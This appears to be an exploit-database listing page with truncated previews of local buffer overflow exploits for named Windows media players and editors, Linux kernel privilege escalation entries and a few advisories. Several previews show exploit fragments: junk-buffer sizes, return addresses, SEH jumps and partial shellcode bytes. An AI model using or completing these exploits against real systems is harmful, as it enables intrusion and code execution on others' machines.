kernel: bug in GFS/GFS2 locking code leads to dos

The gfs2lock function in the Linux kernel before 2.6.34-rc1-next-20100312, and the gfslock function in the Linux kernel on Red Hat Enterprise Linux RHEL 5 and 6, does not properly remove POSIX locks on files that are setgid without group-execute permission, which allows local users to cause a...

Shadow Stream Recorder 3.0.1.7 (.asx) Local Buffer Overflow

Exploit for windows platform in category local exploits =========================================================== Shadow Stream Recorder 3.0.1.7 .asx Local Buffer Overflow =========================================================== !/usr/bin/python Title: Shadow Stream Recorder 3.0.1.7 .asx Loc...

Mini-Stream Ripper 3.1.0.8 Stack Overflow

Mini-stream Ripper 3.1.0.8 = Local stack overflow exploit Author: Hazem Mofeed Download: http://www.mini-stream.net/mini-stream-ripper/download/ Home: http://hakxer.wordpress.com BUFFER + RET + RET + SHELLCODE -- Exploited .. http://www.exploit-db.com/exploits/11607 shellcode =...

Yahoo Player 1.0 Buffer Overflow

!/usr/bin/perl print qq Yahoo Player 1.0 .m3u/.pls/.ypl Local Buffer Overflow Exploit SEH by Mr.tro0oqy from yemen geertz: Red-D3v1L , his0k4 ,Stack download :http://download.yahoo.com/dl/player/yplayerinstall.exe ; my $bof="\x41" x 2076; my $nsh="\xEB\x06\x90\x90"; Short jmp my...

[TKADV2010-003] avast! 4.8 and 5.0 aavmker4.sys Kernel Memory Corruption

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Advisory: avast! 4.8 and 5.0 aavmker4.sys Kernel Memory Corruption Advisory ID: TKADV2010-003 Revision: 1.0 Release Date: 2010/02/22 Last Modified: 2010/02/22 Date Reported: 2010/02/01 Author: Tobias Klein tk at trapkit.de Affected Software: avast! 4....

Chasys Media Player 1.1 - '.mid' Local Buffer Overflow

!/usr/bin/perl Chasys Media Player 1.1 .mid Local Buffer Overflow Exploit Coded by: cr4wl3r From: Indonesia WARNING - WARNING - WARNING - WARNING Disclaimer: The author published the information under the condition that is not in the intention of the reader to use them in order to bring to himsel...

Nokia Multimedia Player 1.1 (.npl) Local Stack Overflow POC

Exploit for unknown platform in category local exploits =========================================================== Nokia Multimedia Player 1.1 .npl Local Stack Overflow POC ===========================================================...

UltraISO 9.3.6.2750 Buffer Overflow

!/usr/bin/python x UltraISO 9.3.6.2750 Local Buffer Overflow Exploit x Original : http://www.exploit-db.com/exploits/11363 x Exploit : Dzattacker [email protected] ccdheader= "\x5b\x43\x6c\x6f\x6e\x65\x43\x44\x5d\x0d\x0a\x56\x65\x72\x73\x69\x6f\x6e\x3d\x33"...

feedDemon version 3.1.0.9 .opml file local buffer overflow exploit

Exploit for unknown platform in category local exploits ================================================================== feedDemon version 3.1.0.9 .opml file local buffer overflow exploit ================================================================== /Download latest vuln app...

FoxPlayer 1.7.0 (.m3u) Local Buffer Overflow Exploit

Exploit for unknown platform in category local exploits ==================================================== FoxPlayer 1.7.0 .m3u Local Buffer Overflow Exploit ==================================================== !/usr/bin/perl print qq FoxPlayer 1.7.0 .m3u Local Buffer Overflow Exploit ; my $jun...

Sub Station Alpha 4.08 - .rt Local Buffer Overflow (PoC)

Sub Station Alpha 4.08 - .rt Local Buffer Overflow PoC /Sub Station Alpha v4.08 .rt file local buffer overflow poc by fl0 fl0w/ include include define FIL3 "testfile.rt" char header=...

Sub Station Alpha 4.08 - '.rt' Local Buffer Overflow (PoC)

/Sub Station Alpha v4.08 .rt file local buffer overflow poc by fl0 fl0w/ include include define FIL3 "testfile.rt" char header= "\x3C\x77\x69\x6E\x64\x6F\x77\x20\x68\x65\x69\x67\x68\x74\x3D\x22\x32\x35\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x22\x33\x30"...

HTMLDOC 1.9.x-r1629 (Windows x86) - .html Local Buffer Overflow

HTMLDOC 1.9.x-r1629 Windows x86 - .html Local Buffer Overflow /HTMLDOC 1.9.x-r1629 local .html buffer overflowwin32 exploit download: http://www.htmldoc.org/software.php?VERSION=1.9.x-r1629&FILE=htmldoc/snapshots/htmldoc-1.9.x-r1629.tar.bz2 header 19 bytes junk 268 bytes EIP register 4 bytes NOP...

Mini-stream Ripper 3.0.1.1 - '.pls' Universal Local Buffer Overflow

/ riptheministreamripper.c Mini-stream ripper = 3.0.1.1 .pls Local Universal Buffer Overflow Exploit exploited by: mrme Greetz to the Corelan Security Team: corelanc0d3r, rick, edi, dellnull, marko T, phifli, corelanc0d3r Visit: corelanc0d3r's blog http://www.corelan.be:8800/ reference:...

Easy RM to MP3 2.7.3.700 - Local Overflow

!/usr/bin/ruby breakit = "\x41" 26109 jump = "\x3a\xf2\xaa\x01" padit = "\x90" 25 01AAF23A FFE4 JMP ESP MSRMCcodec02.dll finishhim = "\xdd\xc5\xd9\x74\x24\xf4\x58\xbf\x27\x98\xb6\xfc\x31\xc9" + "\xb1\x32\x31\x78\x17\x83\xe8\xfc\x03\x5f\x8b\x54\x09\x63" +...

Linux 2.6.x fs/pipe.c local root exploit

No description provided by source. For those who were not yet aware, there is at least 3 public exploits since 11/05/2009 for CVE-2009-3547 targeting all linux kernels from 2.6.0 to 2.6.31 included. Since spender and fotis have already release their own, there is not need for us to keep this on o...

Linux Kernel 2.6.x - 'pipe.c' Local Privilege Escalation (2)

/ source: https://www.securityfocus.com/bid/36901/info Linux kernel is prone to a local privilege-escalation vulnerability that is caused by a NULL-pointer dereference. Local attackers can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result i...

CVE-2009-3640

CVE-2009-3640 affects the Linux kernel KVM component (arch/x86/kvm/x86.c). The update_cr8_intercept function does not properly handle missing APIC, causing a local denial of service via a NULL pointer dereference and, potentially, privilege escalation through kvm_vcpu_ioctl. Affected: kernels bef...

Alleycode HTML Editor 2.2.1 - Local Buffer Overflow

!/usr/bin/env python Alleycode HTML Editor 2.21 Local .HTML Overflow Exploit SEH Coded By: DrIDE Found By: Rafael de Sousa Tested On: XPSP0 SP3 doesn't have any usable P/P/R Download: www.alleycode.com calc.exe - 303 bytes Encoder - alpha/upper EXITFUNC - SEH sc =...

PT-2009-4922 · Microsoft · Windows Server 2003 +5

Name of the Vulnerable Software and Affected Versions: Microsoft Windows versions prior to the fixed version Description: The issue is caused by an integer underflow in the kernel, allowing local users to gain privileges via a crafted application. This occurs due to the incorrect truncation of a...